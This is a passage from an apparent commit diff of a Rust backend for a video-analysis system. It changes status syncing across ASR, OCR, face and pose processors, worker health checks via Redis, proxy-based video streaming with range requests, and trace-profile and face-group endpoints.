let is_no_audio = json_data.get("status").and_then(|s| s.as_str()) == Some("no_audio_track")
|| json_data.get("status").and_then(|s| s.as_str()) == Some("silent_audio");
let db_count: i64 = sqlx::query_scalar(&format!(
"SELECT COUNT(*) FROM {} WHERE file_uuid = $1 AND processor_type = 'asr'", pre_table
))
.bind(&file_uuid).fetch_one(state.db.pool()).await.unwrap_or(0);
is_no_audio || (json_count as i64) == db_count
}
"asrx" => {
let json_count = json_data.get("segments").and_then(|s| s.as_array()).map(|a| a.len()).unwrap_or(0);
let db_count: i64 = sqlx::query_scalar(&format!(
"SELECT COUNT(*) FROM {} WHERE file_uuid = $1 AND processor_type = 'asrx'", pre_table
))
.bind(&file_uuid).fetch_one(state.db.pool()).await.unwrap_or(0);
(json_count as i64) == db_count
}
"ocr" => {
let json_count = json_data.get("frames").and_then(|s| s.as_array()).map(|a| a.len()).unwrap_or(0);
let db_count: i64 = sqlx::query_scalar(&format!(
"SELECT COUNT(*) FROM {} WHERE file_uuid = $1 AND processor_type = 'ocr'", pre_table
))
.bind(&file_uuid).fetch_one(state.db.pool()).await.unwrap_or(0);
(json_count as i64) == db_count
}
"cut" => {
let json_count = json_data.get("scenes").and_then(|s| s.as_array()).map(|a| a.len()).unwrap_or(0);
let db_count: i64 = sqlx::query_scalar(&format!(
"SELECT COUNT(*) FROM {} WHERE file_uuid = $1 AND processor_type = 'cut'", pre_table
))
.bind(&file_uuid).fetch_one(state.db.pool()).await.unwrap_or(0);
(json_count as i64) == db_count
}
"face" => {
let json_frame_count = json_data.get("frames").and_then(|f| f.as_array()).map(|a| a.len()).unwrap_or(0);
let is_no_faces = json_data.get("status").and_then(|s| s.as_str()) == Some("no_faces");
let db_count: i64 = sqlx::query_scalar(&format!(
"SELECT COUNT(*) FROM {} WHERE file_uuid = $1 AND processor_type = 'face'", pre_table
))
.bind(&file_uuid).fetch_one(state.db.pool()).await.unwrap_or(0);
is_no_faces || json_frame_count == (db_count as usize)
}
"face_cluster" => {
// cluster 數量可能不等於 trace 數量，只要 JSON 存在就視為一致
true
}
"pose" => {
// pose 通常不需要入庫 chunks，只要 JSON 存在就視為一致
true
}
_ => true,
};
} else {
errors.push(serde_json::json!({
"processor": name,
"error": "JSON parse failed"
}));
consistent = false;
}
}
Err(e) => {
errors.push(serde_json::json!({
"processor": name,
"error": format!("Read failed: {}", e)
}));
consistent = false;
}
}
if !consistent {
all_consistent = false;
}
}
processor_status.insert(name.to_string(), serde_json::json!({
"json_exists": json_exists,
"consistent": consistent
}));
}
let all_complete = completed_count == required_processors.len();
let new_status = if all_complete { "completed" } else { "processing" };
// 如果有錯誤，回傳錯誤
if !errors.is_empty() {
return Ok(Json(serde_json::json!({
"success": false,
"file_uuid": file_uuid,
"status": "error",
"errors": errors
})));
}
// 檢查 DB 進階狀態
let has_sentence: bool = sqlx::query_scalar(&format!(
"SELECT 1 FROM {} WHERE file_uuid = $1 AND chunk_type = 'sentence' LIMIT 1", chunk_table
))
.bind(&file_uuid)
.fetch_optional(state.db.pool())
.await
.unwrap_or(None)
.unwrap_or(0) > 0;
let has_tkg_nodes: bool = sqlx::query_scalar(&format!(
"SELECT 1 FROM {} WHERE file_uuid = $1 LIMIT 1", tkg_nodes_table
))
.bind(&file_uuid)
.fetch_optional(state.db.pool())
.await
.unwrap_or(None)
.unwrap_or(0) > 0;
let has_tkg_edges: bool = sqlx::query_scalar(&format!(
"SELECT 1 FROM {} WHERE file_uuid = $1 LIMIT 1", tkg_edges_table
))
.bind(&file_uuid)
.fetch_optional(state.db.pool())
.await
.unwrap_or(None)
.unwrap_or(0) > 0;
// 狀態判斷
let new_status = if all_consistent && any_json_exists {
// 所有 JSON 都存在且與 DB 一致
if has_tkg_edges {
"agent_ready"
} else {
"completed" // 即使 0 筆也算完成
}
} else if any_json_exists {
// 部分 JSON 存在但不一致 → 入庫中
"scanning"
} else {
// 無 JSON → 未開始
"registered"
};
// 更新 DB status
let videos_table = schema::table_name("videos");
let result = sqlx::query(&format!(
sqlx::query(&format!(
"UPDATE {} SET status = $1, updated_at = NOW() WHERE file_uuid = $2",
videos_table
))
.bind(new_status)
.bind(&file_uuid)
.execute(state.db.pool())
.await;
.await
.map_err(|e| {
tracing::error!("[SYNC_STATUS] Update failed: {}", e);
StatusCode::INTERNAL_SERVER_ERROR
})?;
match result {
Ok(res) if res.rows_affected() > 0 => Ok(Json(serde_json::json!({
"success": true,
"file_uuid": file_uuid,
"status": new_status,
"processors_complete": completed_count,
"processors_total": required_processors.len()
}))),
Ok(_) => Err(StatusCode::NOT_FOUND),
Err(e) => {
tracing::error!("[SYNC_STATUS] Update failed: {}", e);
Err(StatusCode::INTERNAL_SERVER_ERROR)
}
}
// 查詢 monitor_jobs 取得 worker 狀態
let monitor_jobs_table = schema::table_name("monitor_jobs");
let job: Option<(String, Option<String>, i32, i32, Vec<String>, Vec<String>, Option<chrono::NaiveDateTime>)> =
sqlx::query_as(&format!(
"SELECT status, current_processor, progress_total, progress_current, \
completed_processors, failed_processors, updated_at \
FROM {} WHERE uuid = $1 ORDER BY created_at DESC LIMIT 1",
monitor_jobs_table
))
.bind(&file_uuid)
.fetch_optional(state.db.pool())
.await
.ok()
.flatten();
let worker_info = if let Some((status, current_proc, total, current, completed, failed, updated)) = job {
serde_json::json!({
"has_job": true,
"job_status": status,
"current_processor": current_proc,
"progress_total": total,
"progress_current": current,
"completed_processors": completed,
"failed_processors": failed,
"updated_at": updated.map(|t| t.format("%Y-%m-%dT%H:%M:%S").to_string())
})
} else {
serde_json::json!({
"has_job": false
})
};
Ok(Json(serde_json::json!({
"success": true,
"file_uuid": file_uuid,
"status": new_status,
"processors": processor_status,
"worker": worker_info
})))
}
src/api/health.rs
+21 -2
View File
@@ -215,7 +215,7 @@ pub async fn health(State(state): State<AppState>) -> Json<HealthResponse> {
build_timestamp: env!("BUILD_TIMESTAMP").to_string(),
uptime_ms: get_uptime_ms(),
watcher_running: check_process_running("watcher"),
worker_running: check_process_running("worker"),
worker_running: check_worker_alive(&state).await,
auto_pipeline_enabled: config::get_auto_pipeline_enabled(),
watcher_auto_register_enabled: config::get_watcher_auto_register(),
system_timezone: config::SYSTEM_TIMEZONE.clone(),
@@ -380,7 +380,7 @@ pub async fn health_detailed(State(state): State<AppState>) -> Json<DetailedHeal
llm: check_http(config::LLM_HEALTH_URL.as_str()).await,
rsync: check_rsync().await,
watcher_running: check_process_running("watcher"),
worker_running: check_process_running("worker"),
worker_running: check_worker_alive(&state).await,
},
schema: check_schema_migrations(state.db.pool()).await,
identities: {
@@ -628,6 +628,25 @@ async fn check_rsync() -> ServiceStatus {
}
}
/// Check worker liveness via Redis health key TTL.
/// Returns true if the Worker's Redis health key exists and has remaining TTL > 0.
pub async fn check_worker_alive(state: &AppState) -> bool {
let health_key = format!("{}health", crate::core::config::REDIS_KEY_PREFIX.as_str());
let client = state.redis_cache.get_client().await;
let guard = client.write().await;
if let Ok(mut conn) = guard.get_conn().await {
let ttl: Result<i64, _> = redis::cmd("TTL")
.arg(&[health_key.as_str()])
.query_async(&mut conn)
.await;
match ttl {
Ok(ttl) if ttl > 0 => return true,
_ => return false,
}
}
false
}
fn check_process_running(name: &str) -> bool {
let patterns: &[&str] = match name {
"watcher" => &[
src/api/identity_agent_api.rs
-1398
View File
File diff suppressed because it is too large Load Diff
src/api/identity_binding.rs
+10 -2
View File
@@ -326,7 +326,11 @@ pub async fn unbind_identity(
.await;
match &result {
Ok(r) => tracing::info!("[unbind_identity] TKG update: {} rows affected for trace {}", r.rows_affected(), tid),
Ok(r) => tracing::info!(
"[unbind_identity] TKG update: {} rows affected for trace {}",
r.rows_affected(),
tid
),
Err(e) => tracing::error!("[unbind_identity] TKG update failed: {}", e),
}
}
@@ -923,7 +927,11 @@ pub async fn bind_identity_trace(
.await;
match &result {
Ok(r) => tracing::info!("[bind_identity_trace] TKG update: {} rows affected for trace {}", r.rows_affected(), req.trace_id),
Ok(r) => tracing::info!(
"[bind_identity_trace] TKG update: {} rows affected for trace {}",
r.rows_affected(),
req.trace_id
),
Err(e) => tracing::error!("[bind_identity_trace] TKG update failed: {}", e),
}
src/api/media_api.rs
+130 -43
View File
@@ -666,19 +666,31 @@ async fn stream_video(
use tokio::io::{AsyncReadExt, AsyncSeekExt};
let (_mode, audio) = parse_video_params(&params);
let use_original = params.get("original").map(|v| v == "true").unwrap_or(false);
let videos_table = schema::table_name("videos");
let row: Option<(String,)> = sqlx::query_as(&format!(
"SELECT file_path FROM {} WHERE file_uuid = $1",
let row: Option<(String, Option<String>)> = sqlx::query_as(&format!(
"SELECT file_path, proxy_path FROM {} WHERE file_uuid = $1",
videos_table
))
.bind(&file_uuid)
.fetch_optional(state.db.pool())
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
let (file_path,) = row.ok_or(StatusCode::NOT_FOUND)?;
let (file_path, proxy_path) = row.ok_or(StatusCode::NOT_FOUND)?;
let src = std::path::PathBuf::from(&file_path);
// Use proxy if available and not explicitly requesting original
let effective_path = if !use_original {
proxy_path
.as_ref()
.filter(|p| std::path::Path::new(p).exists())
.unwrap_or(&file_path)
.clone()
} else {
file_path.clone()
};
let src = std::path::PathBuf::from(&effective_path);
if !src.exists() {
return Err(StatusCode::NOT_FOUND);
}
@@ -723,7 +735,7 @@ async fn stream_video(
let tmp_str = tmp.to_str().unwrap_or("").to_string();
let ss = start_sec.to_string();
let d = dur.to_string();
let mut chunk_args = vec!["-ss", &ss, "-i", &file_path, "-t", &d, "-c", "copy"];
let mut chunk_args = vec!["-ss", &ss, "-i", &effective_path, "-t", &d, "-c", "copy"];
if audio == "off" {
chunk_args.push("-an");
}
@@ -736,15 +748,57 @@ async fn stream_video(
let _ = std::fs::remove_file(&tmp);
return Err(StatusCode::INTERNAL_SERVER_ERROR);
}
let data = tokio::fs::read(&tmp)
let clip_size = tokio::fs::metadata(&tmp)
.await
.map(|m| m.len())
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
let _ = std::fs::remove_file(&tmp);
return Ok(Response::builder()
.header(header::CONTENT_TYPE, "video/mp4")
.header(header::CONTENT_LENGTH, data.len())
.body(Body::from(data))
.unwrap());
let range_hdr = request
.headers()
.get(header::RANGE)
.and_then(|v| v.to_str().ok());
if let Some(range_str) = range_hdr {
let (start, end) = parse_range(range_str, clip_size);
let length = end - start + 1;
let mut file = tokio::fs::File::open(&tmp)
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
file.seek(std::io::SeekFrom::Start(start))
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
let take = file.take(length);
let stream = tokio_util::io::ReaderStream::new(take);
let body = Body::from_stream(stream);
let resp = Response::builder()
.status(StatusCode::PARTIAL_CONTENT)
.header(header::CONTENT_TYPE, "video/mp4")
.header(
header::CONTENT_RANGE,
format!("bytes {}-{}/{}", start, end, clip_size),
)
.header(header::CONTENT_LENGTH, length)
.header(header::ACCEPT_RANGES, "bytes")
.body(body)
.unwrap();
let tmp_path = tmp.clone();
tokio::spawn(async move {
tokio::time::sleep(std::time::Duration::from_secs(30)).await;
let _ = tokio::fs::remove_file(&tmp_path).await;
});
return Ok(resp);
} else {
let data = tokio::fs::read(&tmp)
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
let _ = tokio::fs::remove_file(&tmp).await;
return Ok(Response::builder()
.header(header::CONTENT_TYPE, "video/mp4")
.header(header::CONTENT_LENGTH, data.len())
.header(header::ACCEPT_RANGES, "bytes")
.body(Body::from(data))
.unwrap());
}
}
// Full file streaming with range request support
@@ -1391,8 +1445,7 @@ async fn get_pose_handler(
use std::collections::HashMap as StdHashMap;
let output_dir = OUTPUT_DIR.as_str();
let pose_path = std::path::Path::new(output_dir)
.join(format!("{}.pose.json", file_uuid));
let pose_path = std::path::Path::new(output_dir).join(format!("{}.pose.json", file_uuid));
if !pose_path.exists() {
tracing::error!("[get_pose] File not found: {}", pose_path.display());
@@ -1409,7 +1462,10 @@ async fn get_pose_handler(
StatusCode::INTERNAL_SERVER_ERROR
})?;
let frames = data.get("frames").and_then(|v| v.as_array()).ok_or(StatusCode::NOT_FOUND)?;
let frames = data
.get("frames")
.and_then(|v| v.as_array())
.ok_or(StatusCode::NOT_FOUND)?;
let frame_data = frames
.iter()
@@ -1440,39 +1496,61 @@ async fn get_pose_handler(
if let Some(existing) = unique_kps.get(name) {
if conf > existing.confidence {
unique_kps.insert(name.to_string(), PoseKeypoint {
unique_kps.insert(
name.to_string(),
PoseKeypoint {
name: name.to_string(),
x,
y,
confidence: conf,
},
);
}
} else {
unique_kps.insert(
name.to_string(),
PoseKeypoint {
name: name.to_string(),
x,
y,
confidence: conf,
});
}
} else {
unique_kps.insert(name.to_string(), PoseKeypoint {
name: name.to_string(),
x,
y,
confidence: conf,
});
},
);
}
}
let coco_names = [
"nose", "left_eye", "right_eye", "left_ear", "right_ear",
"left_shoulder", "right_shoulder", "left_elbow", "right_elbow",
"left_wrist", "right_wrist", "left_hip", "right_hip",
"left_knee", "right_knee", "left_ankle", "right_ankle",
"nose",
"left_eye",
"right_eye",
"left_ear",
"right_ear",
"left_shoulder",
"right_shoulder",
"left_elbow",
"right_elbow",
"left_wrist",
"right_wrist",
"left_hip",
"right_hip",
"left_knee",
"right_knee",
"left_ankle",
"right_ankle",
];
let keypoints: Vec<PoseKeypoint> = coco_names
.iter()
.map(|name| {
unique_kps.get(*name).cloned().unwrap_or_else(|| PoseKeypoint {
name: name.to_string(),
x: 0.0,
y: 0.0,
confidence: 0.0,
})
unique_kps
.get(*name)
.cloned()
.unwrap_or_else(|| PoseKeypoint {
name: name.to_string(),
x: 0.0,
y: 0.0,
confidence: 0.0,
})
})
.collect();
@@ -1492,11 +1570,14 @@ async fn get_appearance_handler(
use crate::core::config::OUTPUT_DIR;
let output_dir = OUTPUT_DIR.as_str();
let appearance_path = std::path::Path::new(output_dir)
.join(format!("{}.appearance.json", file_uuid));
let appearance_path =
std::path::Path::new(output_dir).join(format!("{}.appearance.json", file_uuid));
if !appearance_path.exists() {
tracing::error!("[get_appearance] File not found: {}", appearance_path.display());
tracing::error!(
"[get_appearance] File not found: {}",
appearance_path.display()
);
return Err(StatusCode::NOT_FOUND);
}
@@ -1510,7 +1591,10 @@ async fn get_appearance_handler(
StatusCode::INTERNAL_SERVER_ERROR
})?;
let frames = data.get("frames").and_then(|v| v.as_array()).ok_or(StatusCode::NOT_FOUND)?;
let frames = data
.get("frames")
.and_then(|v| v.as_array())
.ok_or(StatusCode::NOT_FOUND)?;
let frame_data = frames
.iter()
@@ -1523,9 +1607,9 @@ async fn get_appearance_handler(
.map(|arr| {
arr.iter()
.filter_map(|channel| {
channel.as_array().map(|bins| {
bins.iter().filter_map(|v| v.as_f64()).collect()
})
channel
.as_array()
.map(|bins| bins.iter().filter_map(|v| v.as_f64()).collect())
})
.collect()
})
@@ -1541,5 +1625,8 @@ async fn get_appearance_handler(
pub fn pose_appearance_routes() -> Router<crate::api::types::AppState> {
Router::new()
.route("/api/v1/file/:file_uuid/pose", get(get_pose_handler))
.route("/api/v1/file/:file_uuid/appearance", get(get_appearance_handler))
.route(
"/api/v1/file/:file_uuid/appearance",
get(get_appearance_handler),
)
}
src/api/mod.rs
-1
View File
@@ -7,7 +7,6 @@ pub mod docs;
pub mod files;
pub mod health;
pub mod identities;
pub mod identity_agent_api;
pub mod identity_api;
pub mod identity_binding;
pub mod llm_search;
src/api/profile.rs
+228 -74
View File
@@ -1,15 +1,15 @@
use axum::{
Extension, Json,
extract::{Path, Query, State},
http::StatusCode,
Extension, Json,
};
use serde::{Deserialize, Serialize};
use sqlx::PgPool;
use std::collections::HashMap;
use crate::core::db::schema;
use crate::api::middleware::UserAuth;
use crate::api::types::AppState;
use crate::core::db::schema;
// ─── Trace Profile ───
@@ -49,6 +49,23 @@ pub struct UpdateTraceProfileGroupRequest {
pub name: String,
}
#[derive(Debug, Deserialize)]
pub struct MergeGroupsRequest {
pub file_uuid: String,
pub source_groups: Vec<String>,
pub target_group_name: String,
}
#[derive(Debug, Serialize)]
pub struct MergeGroupsResponse {
pub success: bool,
pub file_uuid: String,
pub source_groups: Vec<String>,
pub target_group_name: String,
pub traces_merged: u64,
pub message: String,
}
pub async fn get_trace_profile_handler(
State(state): State<AppState>,
Extension(_auth): Extension<UserAuth>,
@@ -100,19 +117,16 @@ pub async fn update_trace_profile_handler(
Extension(_auth): Extension<UserAuth>,
Json(req): Json<UpdateTraceProfileRequest>,
) -> Result<Json<serde_json::Value>, StatusCode> {
let tkg_table = schema::table_name("tkg_nodes");
let external_id_face = format!("face_track_{}", req.trace_id);
let external_id_trace = format!("trace_{}", req.trace_id);
let tp_table = schema::table_name("trace_profiles");
let nodes_table = schema::table_name("tkg_nodes");
// Get current node (match both external_id formats)
let current: Option<(String, serde_json::Value)> = sqlx::query_as(&format!(
"SELECT label, properties FROM {} \
WHERE file_uuid = $1 AND node_type = 'face_track' AND (external_id = $2 OR external_id = $3)",
tkg_table
// Get current profile
let current: Option<(Option<String>, serde_json::Value)> = sqlx::query_as(&format!(
"SELECT name, properties FROM {} WHERE file_uuid = $1 AND trace_id = $2",
tp_table
))
.bind(&req.file_uuid)
.bind(&external_id_face)
.bind(&external_id_trace)
.bind(req.trace_id)
.fetch_optional(state.db.pool())
.await
.map_err(|e| {
@@ -120,14 +134,16 @@ pub async fn update_trace_profile_handler(
StatusCode::INTERNAL_SERVER_ERROR
})?;
let (current_label, mut current_props) = current.ok_or(StatusCode::NOT_FOUND)?;
let (current_name, mut current_props) = current.ok_or(StatusCode::NOT_FOUND)?;
// Build updates
let mut updates: Vec<String> = Vec::new();
// Build updates for trace_profiles
let mut tp_updates: Vec<String> = Vec::new();
let mut param_idx = 3;
if let Some(ref new_name) = req.name {
if new_name != &current_label {
updates.push(format!("label = $5"));
if Some(new_name) != current_name.as_ref() {
param_idx += 1;
tp_updates.push(format!("name = ${}", param_idx));
}
}
@@ -152,8 +168,11 @@ pub async fn update_trace_profile_handler(
current_props["aliases"] = aliases.clone();
}
if updates.is_empty() && req.properties.is_none() && req.key_frame.is_none()
&& req.key_face.is_none() && req.aliases.is_none()
if tp_updates.is_empty()
&& req.properties.is_none()
&& req.key_frame.is_none()
&& req.key_face.is_none()
&& req.aliases.is_none()
{
return Ok(Json(serde_json::json!({
"success": true,
@@ -161,40 +180,28 @@ pub async fn update_trace_profile_handler(
})));
}
let mut query = format!(
"UPDATE {} SET properties = properties || $4::jsonb",
tkg_table
);
if !updates.is_empty() {
query.push_str(", ");
query.push_str(&updates.join(", "));
}
query.push_str(" WHERE file_uuid = $1 AND node_type = 'face_track' AND (external_id = $2 OR external_id = $3)");
query.push_str(" RETURNING id");
let props_json = serde_json::to_string(&current_props).unwrap();
let result = if !updates.is_empty() {
sqlx::query(&query)
.bind(&req.file_uuid)
.bind(&external_id_face)
.bind(&external_id_trace)
.bind(&props_json)
.bind(req.name.as_ref().unwrap_or(&current_label))
.execute(state.db.pool())
.await
} else {
sqlx::query(&query)
.bind(&req.file_uuid)
.bind(&external_id_face)
.bind(&external_id_trace)
.bind(&props_json)
.execute(state.db.pool())
.await
};
let mut query = format!(
"UPDATE {} SET properties = $2::jsonb",
tp_table
);
if !tp_updates.is_empty() {
query.push_str(", ");
query.push_str(&tp_updates.join(", "));
}
query.push_str(" WHERE file_uuid = $1 AND trace_id = $3");
match result {
let mut sql_query = sqlx::query(&query)
.bind(&req.file_uuid)
.bind(&props_json)
.bind(req.trace_id);
if let Some(ref new_name) = req.name {
sql_query = sql_query.bind(new_name);
}
match sql_query.execute(state.db.pool()).await {
Ok(res) if res.rows_affected() > 0 => Ok(Json(serde_json::json!({
"success": true,
"message": "Trace profile updated",
@@ -214,21 +221,17 @@ pub async fn update_trace_profile_group_handler(
Extension(_auth): Extension<UserAuth>,
Json(req): Json<UpdateTraceProfileGroupRequest>,
) -> Result<Json<serde_json::Value>, StatusCode> {
let tkg_table = schema::table_name("tkg_nodes");
let tp_table = schema::table_name("trace_profiles");
let mut updated = 0;
for trace_id in &req.trace_ids {
let external_id_face = format!("face_track_{}", trace_id);
let external_id_trace = format!("trace_{}", trace_id);
let result = sqlx::query(&format!(
"UPDATE {} SET label = $1 \
WHERE file_uuid = $2 AND node_type = 'face_track' AND (external_id = $3 OR external_id = $4)",
tkg_table
"UPDATE {} SET name = $1 WHERE file_uuid = $2 AND trace_id = $3",
tp_table
))
.bind(&req.name)
.bind(&req.file_uuid)
.bind(&external_id_face)
.bind(&external_id_trace)
.bind(trace_id)
.execute(state.db.pool())
.await;
@@ -245,6 +248,78 @@ pub async fn update_trace_profile_group_handler(
})))
}
pub async fn merge_groups_handler(
State(state): State<AppState>,
Extension(_auth): Extension<UserAuth>,
Json(req): Json<MergeGroupsRequest>,
) -> Result<Json<MergeGroupsResponse>, (StatusCode, Json<serde_json::Value>)> {
let tkg_table = schema::table_name("tkg_nodes");
if req.source_groups.contains(&req.target_group_name) {
return Err((
StatusCode::BAD_REQUEST,
Json(serde_json::json!({
"success": false,
"error": "Target group cannot be in source_groups list"
})),
));
}
if req.source_groups.is_empty() {
return Err((
StatusCode::BAD_REQUEST,
Json(serde_json::json!({
"success": false,
"error": "source_groups cannot be empty"
})),
));
}
// Update trace_profiles.name for all matching traces
let tp_table = schema::table_name("trace_profiles");
let nodes_table = schema::table_name("tkg_nodes");
let result = sqlx::query(&format!(
"UPDATE {} tp SET name = $1 \
WHERE tp.file_uuid = $2 AND tp.trace_id IN (\
SELECT REPLACE(n.external_id, 'trace_', '')::int \
FROM {} n WHERE n.file_uuid = $2 AND n.node_type = 'face_track' AND n.label = ANY($3)\
)",
tp_table, nodes_table
))
.bind(&req.target_group_name)
.bind(&req.file_uuid)
.bind(&req.source_groups)
.execute(state.db.pool())
.await;
match result {
Ok(res) => {
let updated = res.rows_affected();
let group_count = req.source_groups.len();
let target_name = req.target_group_name.clone();
Ok(Json(MergeGroupsResponse {
success: true,
file_uuid: req.file_uuid,
source_groups: req.source_groups,
target_group_name: req.target_group_name,
traces_merged: updated,
message: format!("Merged {} group(s) into '{}'", group_count, target_name),
}))
}
Err(e) => {
tracing::error!("[MergeGroups] DB error: {}", e);
Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(serde_json::json!({
"success": false,
"error": e.to_string()
})),
))
}
}
}
// ─── File Profile ───
#[derive(Deserialize)]
@@ -263,6 +338,16 @@ pub struct FileProfile {
pub height: i32,
pub fps: f64,
pub total_frames: i64,
#[serde(skip_serializing_if = "Option::is_none")]
pub birth: Option<serde_json::Value>,
#[serde(skip_serializing_if = "Option::is_none")]
pub history: Option<Vec<serde_json::Value>>,
#[serde(skip_serializing_if = "Option::is_none")]
pub key_frame: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub proxy_path: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub audio_track: Option<String>,
}
#[derive(Deserialize)]
@@ -296,16 +381,51 @@ pub async fn get_file_profile_handler(
let (file_uuid, file_name, file_path, status, duration, width, height, fps, total_frames) =
row.ok_or(StatusCode::NOT_FOUND)?;
// Enrich with on-disk profile data (birth, history, key_frame)
let output_dir = crate::core::config::OUTPUT_DIR.as_str();
let disk_profile =
crate::core::file_profile::FileProfile::load_from_disk(output_dir, &file_uuid);
// Fallback for zombie files: if DB fields are empty, try to recover from profile
let effective_name = if file_name.is_empty() {
disk_profile
.as_ref()
.map(|p| p.file_name.clone())
.unwrap_or_default()
} else {
file_name
};
let effective_path = if file_path.is_empty() {
disk_profile
.as_ref()
.map(|p| p.current.path.clone())
.unwrap_or_default()
} else {
file_path
};
Ok(Json(FileProfile {
file_uuid,
file_name,
file_path,
file_name: effective_name,
file_path: effective_path,
status,
duration,
width,
height,
fps,
total_frames,
birth: disk_profile
.as_ref()
.and_then(|p| serde_json::to_value(&p.birth).ok()),
history: disk_profile.as_ref().map(|p| {
p.history
.iter()
.map(|h| serde_json::to_value(h).unwrap_or_default())
.collect()
}),
key_frame: disk_profile.as_ref().and_then(|p| p.key_frame.clone()),
proxy_path: disk_profile.as_ref().and_then(|p| p.proxy_path.clone()),
audio_track: disk_profile.as_ref().and_then(|p| p.audio_track.clone()),
}))
}
@@ -372,11 +492,34 @@ pub async fn update_file_profile_handler(
};
match result {
Ok(res) if res.rows_affected() > 0 => Ok(Json(serde_json::json!({
"success": true,
"message": "File profile updated",
"file_uuid": req.file_uuid
}))),
Ok(res) if res.rows_affected() > 0 => {
// Update on-disk profile if path or name changed
if req.file_path.is_some() || req.file_name.is_some() {
let output_dir = crate::core::config::OUTPUT_DIR.as_str();
if let Some(mut profile) = crate::core::file_profile::FileProfile::load_from_disk(
output_dir,
&req.file_uuid,
) {
let new_path = req
.file_path
.clone()
.unwrap_or_else(|| profile.current.path.clone());
let new_name = req
.file_name
.clone()
.unwrap_or_else(|| profile.current.file_name.clone());
profile.update_current_path(&new_path, &new_name);
if let Err(e) = profile.save_to_disk(output_dir) {
tracing::warn!("[FileProfile] Failed to update on-disk profile: {}", e);
}
}
}
Ok(Json(serde_json::json!({
"success": true,
"message": "File profile updated",
"file_uuid": req.file_uuid
})))
}
Ok(_) => Err(StatusCode::NOT_FOUND),
Err(e) => {
tracing::error!("[FileProfile] Update failed: {}", e);
@@ -412,12 +555,16 @@ pub async fn get_face_groups_handler(
Path(file_uuid): Path<String>,
) -> Result<Json<FaceGroupsResponse>, StatusCode> {
let tkg_table = schema::table_name("tkg_nodes");
let tp_table = schema::table_name("trace_profiles");
let rows: Vec<(String, serde_json::Value)> = sqlx::query_as(&format!(
"SELECT label, properties FROM {} \
WHERE file_uuid = $1 AND node_type = 'face_track' \
ORDER BY (properties->>'trace_id')::int",
tkg_table
"SELECT COALESCE(tp.name, tn.label) as name, tn.properties \
FROM {} tn \
LEFT JOIN {} tp ON tp.file_uuid = tn.file_uuid \
AND tp.trace_id = (tn.properties->>'trace_id')::int \
WHERE tn.file_uuid = $1 AND tn.node_type = 'face_track' \
ORDER BY (tn.properties->>'trace_id')::int",
tkg_table, tp_table
))
.bind(&file_uuid)
.fetch_all(state.db.pool())
@@ -430,16 +577,16 @@ pub async fn get_face_groups_handler(
let mut groups: HashMap<String, Vec<i64>> = HashMap::new();
let mut unassigned: Vec<i64> = Vec::new();
for (label, properties) in rows {
for (name, properties) in rows {
let trace_id = properties
.get("trace_id")
.and_then(|v| v.as_i64())
.unwrap_or(0);
if label.starts_with("Face Trace ") || label.starts_with("Trace ") {
if name.starts_with("Face Trace ") || name.starts_with("Trace ") {
unassigned.push(trace_id);
} else {
groups.entry(label).or_default().push(trace_id);
groups.entry(name).or_default().push(trace_id);
}
}
@@ -468,7 +615,7 @@ pub async fn get_face_groups_handler(
// ─── Routes ───
pub fn profile_routes() -> axum::Router<AppState> {
use axum::routing::{get, put};
use axum::routing::{get, post, put};
axum::Router::new()
.route("/api/v1/trace-profile", get(get_trace_profile_handler))
.route("/api/v1/trace-profile", put(update_trace_profile_handler))
@@ -478,5 +625,12 @@ pub fn profile_routes() -> axum::Router<AppState> {
)
.route("/api/v1/file-profile", get(get_file_profile_handler))
.route("/api/v1/file-profile", put(update_file_profile_handler))
.route("/api/v1/file/:file_uuid/face-groups", get(get_face_groups_handler))
.route(
"/api/v1/file/:file_uuid/face-groups",
get(get_face_groups_handler),
)
.route(
"/api/v1/file/:file_uuid/groups/merge",
post(merge_groups_handler),
)
}
src/api/scan.rs
+88 -45
View File
@@ -25,8 +25,8 @@ struct FileStatsResponse {
qdrant: QdrantStats,
// TKG stats
tkg: TkgFileStats,
// Identity Agent stats
identity_agent: IdentityAgentStats,
// Face Dedup stats
face_dedup: FaceDedupStats,
}
#[derive(Debug, Serialize)]
@@ -78,12 +78,10 @@ struct TkgFileStats {
}
#[derive(Debug, Serialize, Default)]
struct IdentityAgentStats {
struct FaceDedupStats {
clusters: i64,
identities_created: i64,
tmdb_matches: i64,
speaker_bindings: i64,
confirmations: i64,
face_tracks: i64,
consistent: bool,
}
#[derive(Debug, Serialize, Deserialize)]
@@ -1030,26 +1028,31 @@ async fn get_file_stats(
..Default::default()
};
// 6. Get Identity Agent stats from Qdrant _seeds
let seeds_filter = json!({
"must": [
{"key": "file_uuid", "match": {"value": file_uuid}}
]
});
let seed_points = qdrant_db
.scroll_all_points("_seeds", seeds_filter, 500)
.await
.unwrap_or_default();
// 6. Get Face Dedup stats
let output_dir = crate::core::config::OUTPUT_DIR.as_str();
let face_cluster_path = format!("{}/{}.face_cluster.json", output_dir, file_uuid);
let face_clusters = if std::path::Path::new(&face_cluster_path).exists() {
if let Ok(content) = std::fs::read_to_string(&face_cluster_path) {
if let Ok(cluster_data) = serde_json::from_str::<serde_json::Value>(&content) {
cluster_data.get("clusters")
.and_then(|c| c.as_array())
.map(|a| a.len())
.unwrap_or(0)
} else {
0
}
} else {
0
}
} else {
0
};
let face_track_count = tkg.face_track_nodes;
let identity_agent = IdentityAgentStats {
clusters: 0, // From face_clustered.json if available
identities_created: face_identities.len() as i64,
tmdb_matches: seed_points
.iter()
.filter(|p| p["payload"]["source"].as_str() == Some("tmdb"))
.count() as i64,
speaker_bindings: speaker_points.len() as i64,
confirmations: 0, // From identity_bindings table
let face_dedup = FaceDedupStats {
clusters: face_clusters as i64,
face_tracks: face_track_count,
consistent: (face_clusters as i64) == face_track_count,
};
Ok(Json(FileStatsResponse {
@@ -1060,7 +1063,7 @@ async fn get_file_stats(
postgres,
qdrant: qdrant_stats,
tkg,
identity_agent,
face_dedup,
}))
}
@@ -1108,6 +1111,38 @@ async fn get_pipeline_progress_handler(
State(state): State<AppState>,
Path(file_uuid): Path<String>,
) -> Result<Json<crate::core::progress::PipelineProgress>, StatusCode> {
